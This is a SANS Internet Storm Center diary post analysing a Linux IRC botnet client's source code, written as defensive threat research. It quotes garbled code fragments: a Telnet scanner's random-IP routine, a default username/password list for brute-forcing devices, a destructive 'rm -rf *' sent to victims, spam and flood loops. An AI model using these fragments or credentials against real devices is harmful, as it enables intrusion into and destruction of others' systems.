Analyze of a Linux botnet client source code, (Wed, Jul 27th)

I like to play active-defense. Every day, I extract attackers IP addresses from my SSH honeypots and performa quick Nmap scan against them. The goal is to gain more knowledge about the compromised hosts. Most of the time, hosts are located behind a residential broadband connection. But sometimes, you find more interesting stuff. When valid credentials are found, the classic scenario is the installation of a botnet client that will be controlled via IRC to launchmultiple attacks or scans. Malicious binaries are pre-compiled for many architectures but, this time, I feltlucky and got access to the source code! I found a compromised host (located in the Seychelles) that was hosting pre-compiled binaries and the source code of the botnet client itself. I had a quick look of course...

Honestly, the client is not very complex and only basic features are implemented but it helps to understand how to code malicious software. First of all, only one CC server was hardcoded in the source code (also located in the Seychelles) but the client can handle multiple servers. I presume that binaries are compiled with a new CC every time a new campaign is started. The connection occurred on an unusual port: 9271 (the default one being 6667 - IRC).

Once started, the client forks itself, tries to connect to its C"> if (pid1 = fork()) { waitpid(pid1, } else if (!pid1) { if (pid2 = fork()) { } else if (!pid2) { } else {}} else {}while(1){ } ....}

Once successfully connected, it enters the mainloop waiting for commands. The following ones were implemented:

• PING (expecting a classic PONG reply)
• GETLOCALIP (returns the local IP address of the bot)
• SCANNER [ON|OFF] (starts or stops the Telnet scanner - see below)
• EMAIL
• HOLD :port
• JUNK ip
• UDP target (time poll interval, default 10)
• TCP target (packet size, usually 0) (time poll interval, default 10)
• KILLATTK
• LOLNOGTFO

The SCANNER"> in_addr_t getRandomPublicIP(){ if(ipState[1] 255 ipState[2] 255 ipState[3] 255 ipState[4] 255) { szprintf(ip, %d.%d.%d.%d } while( (ipState[1] == 0) || (ipState[1] == 10) || (ipState[1] == 100 (ipState[2] = 64 ipState[2] = 127)) || (ipState[1] == 127) || (ipState[1] == 169 ipState[2] == 254) || (ipState[1] == 172 (ipState[2] = 16 ipState[2] = 31)) || (ipState[1] == 192 ipState[2] == 0 ipState[3] == 2) || (ipState[1] == 192 ipState[2] == 88 ipState[3] == 99) || (ipState[1] == 192 ipState[2] == 168) || (ipState[1] == 198 (ipState[2] == 18 || ipState[2] == 19)) || (ipState[1] == 198 ipState[2] == 51 ipState[3] == 100) || (ipState[1] == 203 ipState[2] == 0 ipState[3] == 113) || (ipState[1] = 224) ) { } szprintf(ip, %d.%d.%d.%d"> char *usernames[] = {root\0, \0, admin\0, user\0, login\0, guest\0, user\0,pi\0,support\0char *passwords[] = {root\0, \0, toor\0, admin\0, user\0, guest\0, login\0, changeme\0, 1234\0, 12345\0, 123456\0, default\0, pass\0, password\0,alpine\0,raspberry\0,support\0, ubnt\0"> if(send(fds[i].fd, rm -rf *\r\n, 157, MSG_NOSIGNAL) 0){ }

The email feature looked experimental because some part of the code was commented out and the From"> if(send(fd, HELO rastrent.com\r\n } }if(strstr(buffer, 250 }if(send(fd, MAIL FROM: \r\n } }if(strstr(buffer, 250 }

The domain rastrent.com is registered butnot used at the moment. Here are passive DNS records found:

2015-11-06 184.154.229.207
2015-02-24 69.64.147.242
2014-10-14 208.43.167.119

About the flood commands, the UDP and TCP ones are classic. The JUNK"> //nonblocking swegif(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 errno != EAGAIN){}

This is not a very complex example but it shows how a badly protected Linux box can be infected and integrated into a botnet to generate malicious activity. The fact that the main feature is a Telnet scanner and the presence of binaries for multiple architectures tend to think for the botnet targets residential routers or small embedded Linux like storage devices. In the mean time, the server hosting the source code and binaries is offline for 24 hours. The hardcoded CC server is still alive.

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.